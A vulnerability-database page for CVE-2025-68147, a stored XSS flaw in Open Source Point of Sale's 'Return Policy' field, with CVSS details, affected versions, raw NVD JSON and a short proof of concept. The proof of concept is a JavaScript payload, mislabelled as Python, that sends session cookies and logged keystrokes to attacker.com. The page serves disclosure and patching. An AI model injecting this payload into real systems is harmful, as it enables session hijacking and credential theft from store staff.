Security Vulnerability Report
中文
CVE-2025-68147 CVSS 8.1 HIGH

CVE-2025-68147

Published: 2025-12-17 23:16:05
Last Modified: 2025-12-18 19:53:07

Description

Open Source Point of Sale (opensourcepos) is a web based point of sale application written in PHP using CodeIgniter framework. Starting in version 3.4.0 and prior to version 3.4.2, a Stored Cross-Site Scripting (XSS) vulnerability exists in the "Return Policy" configuration field. The application does not properly sanitize user input before saving it to the database or displaying it on receipts. An attacker with access to the "Store Configuration" (such as a rogue administrator or an account compromised via the separate CSRF vulnerability) can inject malicious JavaScript payloads into this field. These payloads are executed in the browser of any user (including other administrators and sales staff) whenever they view a receipt or complete a transaction. This can lead to session hijacking, theft of sensitive data, or unauthorized actions performed on behalf of the victim. The vulnerability has been patched in version 3.4.2 by ensuring the output is escaped using the `esc()` function in the receipt template. As a temporary mitigation, administrators should ensure the "Return Policy" field contains only plain text and strictly avoid entering any HTML tags. There is no code-based workaround other than applying the patch.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:opensourcepos:open_source_point_of_sale:*:*:*:*:*:*:*:* - VULNERABLE
Open Source Point of Sale (opensourcepos) >= 3.4.0
Open Source Point of Sale (opensourcepos) < 3.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-68147 Stored XSS PoC for Open Source Point of Sale --> <!-- Login as admin and navigate to Store Configuration --> <!-- Inject the following payload in the 'Return Policy' field --> <script> // Steal session cookies var cookies = document.cookie; // Send stolen data to attacker-controlled server fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookies), { method: 'GET', mode: 'no-cors' }); // Alternative: Keylogger document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?k=' + e.key, {mode: 'no-cors'}); }); </script> <!-- When any user views a receipt, the script executes -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68147", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:16:04.990", "lastModified": "2025-12-18T19:53:06.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Source Point of Sale (opensourcepos) is a web based point of sale application written in PHP using CodeIgniter framework. Starting in version 3.4.0 and prior to version 3.4.2, a Stored Cross-Site Scripting (XSS) vulnerability exists in the \"Return Policy\" configuration field. The application does not properly sanitize user input before saving it to the database or displaying it on receipts. An attacker with access to the \"Store Configuration\" (such as a rogue administrator or an account compromised via the separate CSRF vulnerability) can inject malicious JavaScript payloads into this field. These payloads are executed in the browser of any user (including other administrators and sales staff) whenever they view a receipt or complete a transaction. This can lead to session hijacking, theft of sensitive data, or unauthorized actions performed on behalf of the victim. The vulnerability has been patched in version 3.4.2 by ensuring the output is escaped using the `esc()` function in the receipt template. As a temporary mitigation, administrators should ensure the \"Return Policy\" field contains only plain text and strictly avoid entering any HTML tags. There is no code-based workaround other than applying the patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensourcepos:open_source_point_of_sale:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4.0", "versionEndExcluding": "3.4.2", "matchCriteriaId": "A1953C95-7727-4A5A-BCEC-D89FC0C5D2D7"}]}]}], "references": [{"url": "https://github.com/Nixon-H/CVE-2025-68147-OSPOS-Stored-XSS", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos/commit/22297a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-xgr7-7pvw-fpmh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Nixon-H/CVE-2025-68147-OSPOS-Stored-XSS", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/opensourcepos/opensourcepos/security/advisories/GHSA-xgr7-7pvw-fpmh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}